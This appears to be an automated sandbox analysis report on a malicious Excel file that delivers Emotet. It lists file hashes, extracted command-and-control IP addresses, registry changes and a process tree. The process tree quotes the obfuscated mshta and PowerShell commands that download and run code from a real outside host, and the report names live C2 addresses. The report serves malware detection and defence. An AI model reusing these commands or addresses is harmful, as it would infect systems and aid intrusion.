Analysis
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max time kernel
62s -
max time network
59s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
28-01-2022 01:11
Behavioral task
behavioral1
Sample
2022-1-28-9584a09115b259c0dcdb16a5869b8be3.xls
Resource
win7-en-20211208
General
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Target
2022-1-28-9584a09115b259c0dcdb16a5869b8be3.xls
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Size
46KB
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MD5
9584a09115b259c0dcdb16a5869b8be3
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SHA1
7c990a12c69dfb0e667f2ce325442656c8eeec98
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SHA256
e17bb4c5591f7f164167cd96642ad43b52aff39c5175f9bf951de8ae6a83e8e4
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SHA512
73eae89c29c441c5536e513a792f583fc31a94d03152ae791234c0a437ed7cd6b1251b68964288a692ac0def74c66e777dacebf4d1f1a89b9838883cd727db79
Malware Config
Extracted
http://91.240.118.168/vvv/ppp/fe.html
Extracted
http://91.240.118.168/vvv/ppp/fe.png
Extracted
emotet
Epoch4
51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
CMD.EXEdescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 552 1672 CMD.EXE EXCEL.EXE -
Blocklisted process makes network request 3 IoCs
Processes:
mshta.exepowershell.exeflow pid process 4 1480 mshta.exe 5 1724 powershell.exe 7 1724 powershell.exe -
Downloads MZ/PE file
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Loads dropped DLL 8 IoCs
Processes:
rundll32.exerundll32.exepid process 1880 rundll32.exe 1880 rundll32.exe 1880 rundll32.exe 1880 rundll32.exe 1512 rundll32.exe 1512 rundll32.exe 1512 rundll32.exe 1512 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Tnhvlwi\syzjfiizvgcqrow.csr rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEmshta.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE -
Modifies registry class 64 IoCs
Processes:
EXCEL.EXEdescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1672 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exerundll32.exepid process 1724 powershell.exe 1212 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1724 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 1672 EXCEL.EXE 1672 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE -
Suspicious use of WriteProcessMemory 44 IoCs
Processes:
EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 1672 wrote to memory of 552 1672 EXCEL.EXE CMD.EXE PID 1672 wrote to memory of 552 1672 EXCEL.EXE CMD.EXE PID 1672 wrote to memory of 552 1672 EXCEL.EXE CMD.EXE PID 1672 wrote to memory of 552 1672 EXCEL.EXE CMD.EXE PID 552 wrote to memory of 1480 552 CMD.EXE mshta.exe PID 552 wrote to memory of 1480 552 CMD.EXE mshta.exe PID 552 wrote to memory of 1480 552 CMD.EXE mshta.exe PID 552 wrote to memory of 1480 552 CMD.EXE mshta.exe PID 1480 wrote to memory of 1724 1480 mshta.exe powershell.exe PID 1480 wrote to memory of 1724 1480 mshta.exe powershell.exe PID 1480 wrote to memory of 1724 1480 mshta.exe powershell.exe PID 1480 wrote to memory of 1724 1480 mshta.exe powershell.exe PID 1724 wrote to memory of 1816 1724 powershell.exe cmd.exe PID 1724 wrote to memory of 1816 1724 powershell.exe cmd.exe PID 1724 wrote to memory of 1816 1724 powershell.exe cmd.exe PID 1724 wrote to memory of 1816 1724 powershell.exe cmd.exe PID 1816 wrote to memory of 1880 1816 cmd.exe rundll32.exe PID 1816 wrote to memory of 1880 1816 cmd.exe rundll32.exe PID 1816 wrote to memory of 1880 1816 cmd.exe rundll32.exe PID 1816 wrote to memory of 1880 1816 cmd.exe rundll32.exe PID 1816 wrote to memory of 1880 1816 cmd.exe rundll32.exe PID 1816 wrote to memory of 1880 1816 cmd.exe rundll32.exe PID 1816 wrote to memory of 1880 1816 cmd.exe rundll32.exe PID 1880 wrote to memory of 1512 1880 rundll32.exe rundll32.exe PID 1880 wrote to memory of 1512 1880 rundll32.exe rundll32.exe PID 1880 wrote to memory of 1512 1880 rundll32.exe rundll32.exe PID 1880 wrote to memory of 1512 1880 rundll32.exe rundll32.exe PID 1880 wrote to memory of 1512 1880 rundll32.exe rundll32.exe PID 1880 wrote to memory of 1512 1880 rundll32.exe rundll32.exe PID 1880 wrote to memory of 1512 1880 rundll32.exe rundll32.exe PID 1512 wrote to memory of 524 1512 rundll32.exe rundll32.exe PID 1512 wrote to memory of 524 1512 rundll32.exe rundll32.exe PID 1512 wrote to memory of 524 1512 rundll32.exe rundll32.exe PID 1512 wrote to memory of 524 1512 rundll32.exe rundll32.exe PID 1512 wrote to memory of 524 1512 rundll32.exe rundll32.exe PID 1512 wrote to memory of 524 1512 rundll32.exe rundll32.exe PID 1512 wrote to memory of 524 1512 rundll32.exe rundll32.exe PID 524 wrote to memory of 1212 524 rundll32.exe rundll32.exe PID 524 wrote to memory of 1212 524 rundll32.exe rundll32.exe PID 524 wrote to memory of 1212 524 rundll32.exe rundll32.exe PID 524 wrote to memory of 1212 524 rundll32.exe rundll32.exe PID 524 wrote to memory of 1212 524 rundll32.exe rundll32.exe PID 524 wrote to memory of 1212 524 rundll32.exe rundll32.exe PID 524 wrote to memory of 1212 524 rundll32.exe rundll32.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2022-1-28-9584a09115b259c0dcdb16a5869b8be3.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\CMD.EXECMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exemshta http://91.240.118.168/vvv/ppp/fe.html3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tnhvlwi\syzjfiizvgcqrow.csr",vWkyeuI8⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tnhvlwi\syzjfiizvgcqrow.csr",DllRegisterServer9⤵
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\ProgramData\QWER.dllMD5
568ddf4d26baa3fadb6f5903e18119cc
SHA1c556ef89517f7b5cc51fa96d042958eb553e6519
SHA25674aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254
SHA51298f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4
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\ProgramData\QWER.dllMD5
568ddf4d26baa3fadb6f5903e18119cc
SHA1c556ef89517f7b5cc51fa96d042958eb553e6519
SHA25674aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254
SHA51298f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4
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\ProgramData\QWER.dllMD5
568ddf4d26baa3fadb6f5903e18119cc
SHA1c556ef89517f7b5cc51fa96d042958eb553e6519
SHA25674aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254
SHA51298f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4
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\ProgramData\QWER.dllMD5
568ddf4d26baa3fadb6f5903e18119cc
SHA1c556ef89517f7b5cc51fa96d042958eb553e6519
SHA25674aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254
SHA51298f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4
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\ProgramData\QWER.dllMD5
568ddf4d26baa3fadb6f5903e18119cc
SHA1c556ef89517f7b5cc51fa96d042958eb553e6519
SHA25674aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254
SHA51298f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4
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\ProgramData\QWER.dllMD5
568ddf4d26baa3fadb6f5903e18119cc
SHA1c556ef89517f7b5cc51fa96d042958eb553e6519
SHA25674aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254
SHA51298f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4
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\ProgramData\QWER.dllMD5
568ddf4d26baa3fadb6f5903e18119cc
SHA1c556ef89517f7b5cc51fa96d042958eb553e6519
SHA25674aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254
SHA51298f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4
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\ProgramData\QWER.dllMD5
568ddf4d26baa3fadb6f5903e18119cc
SHA1c556ef89517f7b5cc51fa96d042958eb553e6519
SHA25674aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254
SHA51298f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4
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\ProgramData\QWER.dllMD5
568ddf4d26baa3fadb6f5903e18119cc
SHA1c556ef89517f7b5cc51fa96d042958eb553e6519
SHA25674aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254
SHA51298f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4
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memory/524-91-0x0000000000320000-0x0000000000345000-memory.dmpFilesize
148KB
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memory/1212-96-0x0000000000390000-0x00000000003B5000-memory.dmpFilesize
148KB
